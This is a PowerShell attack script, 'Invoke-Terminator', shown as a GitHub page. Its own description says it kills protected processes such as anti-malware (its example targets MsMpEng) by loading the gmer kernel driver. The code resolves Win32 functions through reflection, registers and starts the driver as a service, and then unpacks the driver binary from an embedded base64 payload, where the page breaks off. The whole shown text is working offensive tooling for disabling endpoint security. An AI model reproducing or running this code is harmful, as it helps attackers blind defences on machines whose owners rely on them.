-
Notifications
You must be signed in to change notification settings - Fork 6
/
Invoke-Terminator.ps1
348 lines (289 loc) · 89.6 KB
/
Invoke-Terminator.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
function Invoke-Terminator
{
<#
.DESCRIPTION
This script can terminate protected processes such as anti-malware by loading the gmer driver.
.PARAMETER ServiceName
The name of the service that is created in the system
.PARAMETER driverPath
The path where gmer driver is extracted. By default, it is saved in the temp folder of the current user.
.PARAMETER AutoKill
This parameter pertains to processes that are automatically restarted after being terminated.
By using this parameter, Terminator continuously monitors the status of the specified process and terminates it if it is found to be running.
.EXAMPLE
Invoke-Terminator -ProcName MsMpEng
#>
[CmdletBinding()]
Param
(
[String]
$ServiceName = "terminator",
[Int32]
$ProcId,
[String]
$ProcName,
[String]
$driverPath = [System.IO.Path]::GetTempPath() + "terminator.sys",
[Switch]
$AutoKill
)
function Get-ProcAddress {
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name SC_MANAGER_ALL_ACCESS -Value 0xF003F
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_ALL_ACCESS -Value 0xF01FF
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_KERNEL_DRIVER -Value 0x00000001
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_DEMAND_START -Value 0x00000003
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_ERROR_IGNORE -Value 0x00000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_STOPPED -Value 0x00000001
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_RUNNING -Value 0x00000004
$Win32Constants | Add-Member -MemberType NoteProperty -Name SERVICE_PAUSED -Value 0x00000007
$Win32Constants | Add-Member -MemberType NoteProperty -Name GENERIC_WRITE -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name GENERIC_READ -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name OPEN_EXISTING -Value 0x3
$Win32Constants | Add-Member -MemberType NoteProperty -Name FILE_ATTRIBUTE_NORMAL -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name OF_READWRITE -Value 0x00000002
return $Win32Constants
}
function Get-Win32Types
{
$Win32Types = New-Object System.Object
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$Attributes = 'Public, SequentialLayout, AnsiClass, AutoLayout, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('SERVICE_STATUS', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('dwServiceType', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwCurrentState', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwControlsAccepted', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwWin32ExitCode', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwServiceSpecificExitCode', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwCheckPoint', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('dwWaitHint', [int], 'Public') | Out-Null
$SERVICE_STATUS = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SERVICE_STATUS -Value $SERVICE_STATUS
return $Win32Types
}
function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$OpenSCManagerAddr = Get-ProcAddress advapi32.dll OpenSCManagerA;
$OpenSCManagerDelegate = Get-DelegateType @([String], [String], [UInt32]) ([IntPtr]);
$OpenSCManager = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAddr, $OpenSCManagerDelegate);
$Win32Functions | Add-Member NoteProperty -Name OpenSCManager -Value $OpenSCManager
$OpenServiceAddr = Get-ProcAddress advapi32.dll OpenServiceA;
$OpenServiceDelegate = Get-DelegateType @([IntPtr], [String], [UInt32]) ([IntPtr]);
$OpenService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAddr, $OpenServiceDelegate);
$Win32Functions | Add-Member NoteProperty -Name OpenService -Value $OpenService
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name CloseServiceHandle -Value $CloseServiceHandle
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$Win32Functions | Add-Member NoteProperty -Name CreateServiceA -Value $CreateServiceA
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$Win32Functions | Add-Member NoteProperty -Name StartServiceA -Value $StartServiceA
$CreateFileAAddr = Get-ProcAddress kernel32.dll CreateFileA
$CreateFileADelegate = Get-DelegateType @( [String], [Int], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]) ([IntPtr])
$CreateFileA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateFileAAddr, $CreateFileADelegate)
$Win32Functions | Add-Member NoteProperty -Name CreateFileA -Value $CreateFileA
$DeviceIoControlAddr = Get-ProcAddress kernel32.dll DeviceIoControl
$DeviceIoControlDelegate = Get-DelegateType @( [IntPtr], [Int64], [byte[]], [UInt32], [byte[]], [UInt32], [UInt32].MakeByRefType(), [IntPtr]) ([bool])
$DeviceIoControl = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeviceIoControlAddr, $DeviceIoControlDelegate)
$Win32Functions | Add-Member NoteProperty -Name DeviceIoControl -Value $DeviceIoControl
$QueryServiceStatusAddr = Get-ProcAddress advapi32.dll QueryServiceStatus
$QueryServiceStatusDelegate = Get-DelegateType @( [IntPtr], [IntPtr]) ([bool])
$QueryServiceStatus = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QueryServiceStatusAddr, $QueryServiceStatusDelegate)
$Win32Functions | Add-Member NoteProperty -Name QueryServiceStatus -Value $QueryServiceStatus
return $Win32Functions
}
function Extract-Driver {
Write-Host '[*] Extract the driver in:', $driverPath
$base64String = "GA/FVVZVVVVRVVVVqqpVVe1VVVVVVVVVFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVvVVVVVtK71tV4VyYdO1UGZh0AT08JnUlJzoyJzQ4dTY0Ozs6IXU3MHUnIDt1PDt1ERoGdTg6MTB7WFhfcVVVVVVVVVXEvawVgNzCRoDcwkaA3MJGgNzDRt3cwkanGrlGg9zCRqcar0aF3MJGpxq/RofcwkanGrNGh9zCRqcavkaB3MJGpxq6RoHcwkYHPDY9gNzCRlVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQUQVVUx01NV7IWKA1VVVVVVVVVVpVV3VV5XXVVV+VVVVX9VVVVVVVVdtVVVVUVVVVVVVFVVVVVVVUVVVVVXVVVTVVVVU1VVVVNVVVVVVVVVVVVUVVVRVVUNtlVVVFVVVVVVUVVVVVVVVUVVVVVVVVVVVUVVVVVVVVVFVVVVVVVVVVVVVUVVVVVVVVVVVVVVVTG1VVV9VVVVVaVVVT1WVVVVhVVVPVFVVVWZVVVdRFVVVVVVVVVVVVW151VVSVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV5VVVtVdVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVXshMC0hVVVVhMtVVVVFVVVV9VVVVVFVVVVVVVVVVVVVVVVVVXVVVT17JzE0ITRVVRFbVVVV5VVVVUVVVVXxVVVVVVVVVVVVVVVVVVUVVVUdezE0ITRVVVUFWlVVVZVVVVVXVVVV4VVVVVVVVVVVVVVVVVVVFVVVnXslMTQhNFVVPVFVVVWFVVVVU1VVVeNVVVVVVVVVVVVVVVVVVRVVVR0cGxwBVVVVVZtfVVVVtVVVVVlVVVXpVVVVVVVVVVVVVVVVVVV1VVW3eycmJzZVVVU9VlVVVaVVVVVRVVVVnVVVVVVVVVVVVVVVVVVVFVVVF1VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVFQYd1rl1Hd6MqkDE9VVV0ZUhWB3enqpAMfVVVWaVvlK+Ve1UVVWVHdaRdQ6WmZmZmZmZmR3cCXFdAh3WuWUd3owd0JwhSR3eHE0d0JwhC2aHqkDkylVVHdY2TVXWNnVVvh5mjtwJcXUd2FCc71VV1q5fJmwdNq4dPqptHdYpUk1VIUUd2FlSvf2qqqod2FDw71VVHdYxUl1VHdYxUkVVHdZxUlXWllTcCXF1vpe+VR3eCXEVHdaRZQqWmZmZmZmZHdwJcV0d3CFxRR3cKXFNFAEd1rl1FN6tHd6nHd6MvQSqqqod0I4hex3QoyF80KohcB3egmacqkAJylVVHdwWTR3QlSFEGd6SHd6DHd6dvbDGVVXcLnW+VR3eCXFlHd4hcW0d3ilxFR3WkXUUCZaZmZmZmZkd1rltGd6UHd7E7VVVVR3Qh1rRiVVVVdVvVlrQhlVVVR3WL31VWtGdVVVVHd4XfR3WLV1VWtHsVVVVGd7MlVVVVRjQjlrR/FVVVWaV3BFxdRnYWPjsVVXWrV8mSR02nR0+nG0bbAlcRSBQGVacvlnWlVTcEXF1vooQZpwY0JwhJhHeQCjpVVUU1K9VUFVVIEQd3h99Hd5QJOhVVR1sFF0hTxTUr1VQVVUjHB3eH30d3lCi7lVVHWwUXSBtHN4VXR3QlSF63gV5HV4FTRHeFX0c3lQcbBY9IUYU1K9VUFVVIV8c3py9Qquqqr5dHN6cvcyrqqq+VR3WkW2WmZmZmZmZHdwJcUUCHda5NR3eLG0d3owd0Kpa0cpVVVUd1iwVVVrRwVVVVR3WKnVVWtHcVVVV3gJdZpyqQLzIVVUd0JUd3BYdISAR3hJdZocd3p29h8VVVR3eHhUd2AFxZapAZstVVR3eGnWqQFTLVVXRlSFwEd4aXRneFh0d3gJ1HdgRcSUd1pyqHdwRcXWqQADlVVXcFmW+UO1UVVWV0JUhRB3eHh1mh6pAfshVVR3WNh1VHdgZcWWqQB7IVVUd3glxLR3WkTUKlpmZmZmZmZmZHda5fR3eUADmVVUd0JUhUuxUVVVVqoUd1pF9lpmZmZmZmZmZHdwJcUUd3CFxTR3cGXFdAhQBFAAUAxQCHdS55VVVVRjepBDevR3ej2ajEd6r3CFxFZJQgO9VVUVVVZUR3vFxXVRVVe9RlSPNEW63IEPeUPT4VVXYK1Ruk1oRktxQxvhVVb5e6lRVVVXeUNP4VVVukyBJHd7RcUVUVVWSVVhVVZUd3CVd7VhVVZW8PUVVVRFutyAP1ulxVVRVVVEnbxlumyFgFNxsHd7RcUVUVVUdkhVdUVVVVdxlZpW8bUVVVR3e6XFFVFVVklJYVVWVZqMd3CJdvEhFVVXvU1dVlR3e2XFFVFVV3ETel7xcRVVVFNSpBZUjzSAGHdwhcR3vBVVVVWacqkB5yVVVHW6TIX4d3BFxdRnYGXEdGdhQ66uqqmaHZpy96NVVVW6TIFhmhx3eGXEdqkD5zlVVHd7RcUVUVVXcZWaVvPhaVVUU1KkVlSPNWtCjVVVVFNatXVrQg1VVVR1ui1rRmFVVVRHe0XFVVFVVEW6TWtPzVVVVGW6bWtHIVVVVGd5eGW6bIT/em9wZcSkd2FAp41VV1qxfJkkdNoQdPodtGWwZV10gUx3YSVe+Xlaa3BlxKb6KHd6LHW6LIWEd3gZNHW6DIX4RbBZ1IHAR3hZ1HN6bva3aVVUR3g51Hd7RcUVUVVUZ3A1d3GVmlbxUWlVV771VVZUd3tlxRVRVVdxE3pe8vltVVR3e6XFFVFVV3FJmox3cIl28gVtVVe9TV1WVHd7RcUVUVVXcRd6XvJVbVVXvU1dVlR3e0XFFVFVV3EXel7z/W1VVFNSpEZUjzVrQZFRVVRTWrW1a0ERUVVUdbota0V1UVVUZ3rsZ2DZFHNxhcR3cIXF9GdwxcXUQZpwQZpVmhx3eHl2qQJTPVVVukyBBGN55cRzeED0d3FYc3piqQIzPVVUY3lFxGW6TIQvem9wZcSEd2FAG4FVV1qxfJkkdNoQdPodtGWwRV0UgUx3YWVe+Xlaa3BlxIb6KHd6bHW6bIXoZbrshfx3eVh3cVB3eFkUd3BRFHd7RcUVUVVUd3CVd3GVmlbyxWFVVHdhQruFVVd6b3BlxLdasXyZ/HTaEHT6HbR1sIVddIEEd2FlXHd6GFO1tVVVVvcXbVVW+XVaa3BlxLb6EHd7RcUVUVVXcZWaVvMJYVVUd3ulxRVRVVdxSZqMd3CJdvNVYVVXvU1dVlR3e0XFFVFVV3EXel7w5WFVVFNSpGZUjzVrQ71VVVRTWrV1a0M9VVVUdbota0cRVVVUZ3lYZbpMhC96b3BlxJR3YUADhVVXWrF8mSR02hB0+h20ZbBFXXSBTHdhJV75eVprcGXElvood3osdboshfR3enr11rKqqHdwmXR3cJkUd3GYd3tFxRVRVVR3cJV3cZWaVvLNZVVXvvVVVlR3e0XFFVFVV3EXel7yFWVVVHd7pcUVUVVXcUmajHdwiXbzsWVVV71NXVZUd3tFxRVRVVdxF3pe88FlVVRTUqV2VI81a0dtZVVUU1KlZlSPNWtHUWVVV7dGVI80RbrVa0cReVVUU1KndlSPNWtHRXlVVFNSp2ZUjzVrRIl5VVRTUqdWVI81a0M9VVVXW6XFVVFVVUScvGW6bISAd2BlxFb0uFlVVHW6TIWHeGXEVbtlxVVRVVSJyHd6MGd6UHd6FHN6bva3ZVVUZ3slxRVRVVRzcDl0U3GZmlbxRWVVV71NXVZUd3slxRVRVVdxGHW6TIV5mhx3enapAhsJVVb5fHd7JcUVUVVXcVt5WvIdeVVXvU1dVlR3e0XFFVFVV3EXel7zpXlVVFNSpxZUjzVrQglVVVd7JcVVUVVXWrlFa1+RVVVUZbpta0f1VVVXcIXEVEGacGdgRcRUU2ARFZpy9jG1VVRnetR1ukyEl3hFxFW6WImQd3o0Z3pUc3oEc3pu9adlVVR3e6XFFVFVVHdwKXdxiZocc3pmqQGbCVVXeUrxrXlVV1q5RIHIU3FMd3slxRVRVVR2SFl1RVVVV3GZmhxzemapAUsJVVd5WvEdeVVVmhxzemapAoMNVVR3e6XFFVFVVvl8d3ulxRVRVVdxSvLlfVVXvU1dVlR3e0XFFVFVV3EXel7yNX1VVFNSplZUjzVrQwVVVVRHe8XFVVFVVFNapUSclGW6bIT4U1q1RJxodboshHx3eWKn5VVW90qOqqtxQ4OFVVW6TIHYQ3pkY3pMU3oAd3p69YUxVVR3e6XFFVFVV3FKqQMnDVVW+XR3e6XFFVFVVGdwyXbw0X1VV71NXVZUd3tFxRVRVVdxF3pe8GF9VVe9TV1WVHd7RcUVUVVXcRd6XvGJfVVUU1KmRlSPNIDkU1q1RJwUdboshHh3eWCf5VVW9qKCqqtxQfuFVVW6TIEgU3oAd3p69XUhVVR3e6XFFVFVV3FKqQE3DVVW+XR3e6XFFVFVV3tFxVVRVVR3cEl28g1xVVe9TV1WVHd7RcUVUVVXcRd6XvJdcVVUU1KkBlSPNWtDbVVVVFNatdSc2HW6LIQsRbFYjQ+9TV1WVHd7RcUVUVVXcRd6XvNpcVVUd3liL/lVVvTygqqrcUMLmVVVukyBPHd6evUZ8VVUd3slxRVRVVdxWqkDSwFVVvl0d3slxRVRVVR3cJl3eVrwZXFVV71NXVZUd3tFxRVRVVdxF3pe8Y1xVVR3e6XFFVFVV3FK8cFxVVRTUqYWVI80gExTWrVEnfx1uiyFwFN6FHd6evcN3VVUd3ulxRVRVVdxi3tFxVVRVVR3cEl28uV1VVe9TV1WVHd7RcUVUVVXcRd6XvI1dVVUU1KmdlSPNIDYU1q1RJxIdboshFx3eWEb+VVW9y6GqqtxQmedVVW6TIEgU3oAd3p69nHZVVR3eyXFFVFVV3FaqQOzBVVW+XR3eyXFFVFVV3la8111VVe9TV1WVHd7RcUVUVVXcRd6XvDldVVUU1KmZlSPNWtC5VVVVHdwhcR0U1q11WtftVVVVHW6LWtH6VVVVEWxWI0PvU1dVlR3e0XFFVFVV3EXel7x5XVVV1S5QViB53ulxVVRVVdaqUSdfGW6bIVBsLkEmSO9TV1WVHd7RcUVUVVXcRd6XvK9SVVXe6XFVVFVVHdgBcR0d3p699XlVVRne8XFFVFVVFNxRcW6TIGAc3CFxXRneOXEdGW67IXPVLlBWIEDeihHekhzegBzem73a3VVVHNwJcV1mhxzemKpA2sZVVRTeUXG8zVJVVe9TV1WVHd7RcUVUVVXcRd6XvNdSVVUd3ulxRVRVVdxSvCRSVVUU1KkNlSPNIGoU1K21VVVVIHUdboshTh3enr2De1VVEd6NHd7RcUVUVVUR3E281lVVVe9TV1WVHd7RcUVUVVXcRd6XvH5SVVUU1KnBlSPNIG0U1q1RIEkdboshQt5evfsSVVUR3o0d3tFxRVRVVRHcTb4X71NXVZUd3tFxRVRVVdxF3pe8v1NVVRTUqc2VI80gEBTWrV0gfB1uiyFx3gZR3l69VxxVVRHejR3e0XFFVFVVEdxNHdwlXRTelrznU1VV71NXVZUd3tFxRVRVVdxF3pe8yVNVVRTUqcmVI81a0ExWVVUd3CFxBR3cIXEdHdwhcT0U1q19Wte/V1VVHW6LWtG0V1VVEd75cVVUVVUU1qhRWtfsV1VVGW6bWtHlV1VV3h5Fbpshch3YAXEFqkATx1VVbpMgTWwmWSFGHdjBcdVVVVUd3hlxBapAh8dVVRnesx3cIXEN3l5um1rR3lRVVX6aWtFYVFVVfpohLW6aWtDPVFVVHWxgoPFVVVrR2FRVVR3eKXEF7wVVVVVmnKpASMdVVR1uk1rRJ1RVVR3cEXF1GdgZcT0Z2FCKpqqqHd6CHd6evf0jVVVuk1rQG1RVVR3eGXE9Gd40HRncMXENEd4uXRHcKXEVZoeqQNTEVVW8f1RVVR3YAXEd3h5BqkBjx1VVbpNa0EFUVVUd2BFxNR3cEXFlFd0hcX0d3lCNxFVVHd5dHdwZcXUQZpwQZpXvVVdVVR3eGXEdqkC/xFVVbpMgZt4WXdwRcRUZ3hlxNRnYEXEV3gZR3l69fitVVRnetR3cEXENHd4ZcTWqQA3EVVUR3ilxFR3eGXEdqkDFxFVVvMxVVVUd3hlxBR1um1rR3lVVVR3YEXE1HdwRcWUV3SFxfR3eUOLFVVUd3kUd3AFxdRBmnBBmle9VV1VVqkAzxFVVbpMgDd4WXdwRcRUZ3hlxNRnYEXEV3gZR3l698ihVVRnetR3cEXENHd4ZcTWqQIHFVVUR3ilxFb523CFxFRBmnBnYEXEV3gZRZpy9IihVVRnetR3cEXENEd4pcRVsJkUhcB1sIXEFIUtsJlkhWx3Y2XHVVVVVqkA2xVVVHd4ZcQWqQJ3FVVUZbrMhOxBuqCJkFN6KEN6SHN6BHN6bvajRVVUd3ulxRVRVVR3cCl3cYmaHHN6ZqkCh2lVV3lK8qlZVVRTWqFEgchDcax3eyXFFVFVVHZIWXVFVVVXcZmaHHN6ZqkCS2lVV3la8h1ZVVWaHHN6ZqkDg2lVV71NXVZUd3tFxRVRVVdxF3pe85FZVVR3e6XFFVFVV3FK89VZVVe9TV1WVHd7RcUVUVVXcRd6XvNlWVVXvU1dVlR3e0XFFVFVV3EXel7wjVlVVFNSp8ZUjzVrQWFRVVR3e6XFFVFVVklJYVVWVFNatdVrXslVVVR1ui1rRi1VVVRnesx3cIXEN1m5RIkwd3p69+CpVVRnetR3cEXENEd4uURHcKXEVbCZdWtDLVVVVGW6zISne0XFVVFVV1q1RJwIZbqMhBxFurSJ8FN6KEN6SHN6BHN6bvZ7WVVUd3Apd3GJmhxzemapAn9tVVd5SvIBXVVXWrVEgaRDcax2SEl1RVVVV3GJmhxzemapA89tVVd5SvORXVVXvU1dVldxCZocc3pmqQNjbVVXeUrzNV1VVHdwiXdxiGW6zIV5mhxzemapAJdtVVd5SvC5XVVW+Xx3e6XFFVFVV3FK8PVdVVe9TV1WV3ELel7wJV1VVFNSp9ZUjzVrQiVVVVd7pcVVUVVXWqkVa1+NVVVUZbpta0fhVVVUd2MFx1VVVVR3eWCjxVVWqQJrbVVUd2AFxFR3eWDbxVVW9qyBVVRnetR3Y2XHVVVVVqkBI21VVGW6zIQ3WqkUgSRzeWXEc3Fsc3hlxXRzcG10d3slxRVRVVdxmvn9uKXEVJ0kR3hFxFRzegRzem73011VVHd7JcUVUVVXcZr5dHd7JcUVUVVVmhxzemapAx9hVVb5bHd7JcUVUVVWSVkJVVZUd3C5d3la83FRVVe9TV1WVHd7RcUVUVVXcRd6XvCZUVVUU1KlFlSPNIFnst1VVVapA+NhVVZkd3uFxTVRVVR3cIXFtHd7pcUVUVVUd3ClxZRHcMXF9Ed7pcVVUVVUR3ClxdR3ehr0pN1VV3FJoRVVVlVrQTlRVVR3cIXFtHdwpcWUR3DFxfRHcKXF1GN6bEN6QHd6GHd7ZcbVVVVW9eD9VVdxSvL9VVVXe6XFVVFVV1qpRWtfqVVVVGW6bWtHjVVVVFNatUVrXzFVVVR1ui1rRxVVVVRFutSB4Ed6SHN6EHd5evbJrVVXcUJT/VVVukyAOHd7ZcUVUVVXcZB3cLF1mlbzbVVVVFNSp3ZUjzSBo1qpdJ20d2AFxPd5eqkAs2VVV3FDS/1VVbpMgdB3eGXE9HNxbqkC82VVVGd7JcUVUVVUU3GYc3C5dZpW+HR3e2XFFVFVVvl8d3tlxRVRVVdxU3lS+Ze9TV1WVHd7RcUVUVVXcRd6XvkjvU1dVlR3e0XFFVFVV3EXel75fHd7pcUVUVVXeUhnYyXHlVVVVHN4ObRzeJhUc3rYUChQLFAgUCQqWmZmZmZmZmZmZHdwJcV0d3CFxRQId1rkVZqoZ2A9lGd6UHd7f7VVVVR3cL20U3G7VbFfeJF0R3gRNHd6PHd4HTRnenyFi1WxbIGIU3pfWtVZpViBRGd4eJRncEXFtEd4URR3eHGUZ3AlxZRHcAXF93CFxdb0gu6qq3q2+UL1xVVVVZocd3p6qQPjeVVUd3glxBR3eIXEN3pId1pEVCpaZmZmZmZmZHda5fWacvRi+qqod1miE/FVVVSF4HdZo6v1VVVUhdr3eKVVVHd5Q5P1VVRneSOf8VVUc3FYd1nDK/VVVVb0pKVVVZpUd1pF9lpmZmZmZmZkVBh3WuRUd3oy996qqqh3WLl1VIXId2EDF/FVVHdgZcWWqQIDfVVUd2BlxZapA999VVR3eHl2qQJ3fVVXVaBTLVVVVIXId3lhVy1VVHdCcIU4d1jFxdVUQZpwQZpVmh5NQS8tVVVWqQM3eVVUd1pEVDpaZmZmZmZkd3pEd3A1dHdwlRR3cLU0Z3DV1FAAd1rllHd6nEd43WRlWNEUd2Fgc/FVVve14VVUZ3r1mjtwJcXVuC10mcN6uHFapHd6aqkDl31VV0ZUhRhlseiBQHd6SvlrWllTcCXF1voNmlb5XZpUd3glxFR3eIXEdHd4pcQUZ3jFxDR3WkWUUCJaZmZmZmZmZmR3cCXFdHdwhcUUd3ClxTRQBHda5ZR3eFEUdNiVpHValZpUd1pyqHdhoHtZVVaf7HaKEGdg0qmaq3ClxdVriE1NurSZkHdhB6h3YyYNdVFVVEN6RHdhAS9ZVVR3enqpAKNxVVdCVIFAd3pa+WtaSVNwpcXW+kmaVvldmlR3eCXEVHd4hcR0d3ilxBR3WkWUUCZaZmZmZmZmZHdwJcUUCHda5BdYxcTVVEGacGdgRcTUU2AReZpy9339VVR3erR3QlSBf7VRVVZW8eVRVVR3YWED9VVW90XlVVR3YQOzzVVUd3pq9pH5VVR3ejR3QlSF4HdhA19dVVR3enb1XqqqqHdCVIUwZ2FCL8lVVHd6FHd6evQqrqqod3FAh8lVVZocd3pqqQOTdVVUd2EBv8lVVHdgZcRWqQOrdVVUZ2Egl81VVGdwJcW0d1jFxZVWTEXF9VR3eUJTdVVUd3l0d3BlxdRBmnBBmlRTYDBXehh3YGXEVqkBf3FVV3FDd81VV0JUgWB3eWHzzVVWqQL7dVVUd2EDB81VVHdgZcRWqQAzdVVUZ2Eg/8lVVGdwJcW0d1jFxZVWTEXF9VR3eUA7dVVUd3l0d3BlxdRBmnBBmld6GHdgZcRWqQP3dVVXcUHPzVVXQlSBYHd5YcvJVVapA3N1VVWaVvlDtVFVVlR3eCXE9HdaRBQqWmZmZmZmZmZmZFQYd1LmlVVVVHd5Q+c1VVR1mkR3c0XG9VVVVHd6MGdhQIvBVVR3YAXERHdgZcRUQZpyqQEHdVVUR3glxFRSUtl0RXglxERTUrlVQVVUR3Ej98FVVJl/tVFVVlbwGUVVVHdhQ3Kmqqh3YQJvxVVUd2BlxHR3cFj2qQDrSVVUd2EBN81VVHdgZcQ2qQAjSVVUd3gYVHdCHIREz1i5taSZEEVriFm0d2FhE8FVVvVkpVVUd2FhQ8FVVM+8JVapABtJVVR3QlSFYHdaVVx3cUI7xVVW+RR3YULfxVVW+ux3eUJzxVVUZ2FDH1VVVHdhYHvFVVRnene9LVVVVqkCI01VVGd5Y8/FVVRnYUNrVVVUd2Fjd8FVV70tVVVWqQOjTVVUd2EBD8VVVHdgZcR2qQO7TVVUd2EAx8FVVHdgZcQ2q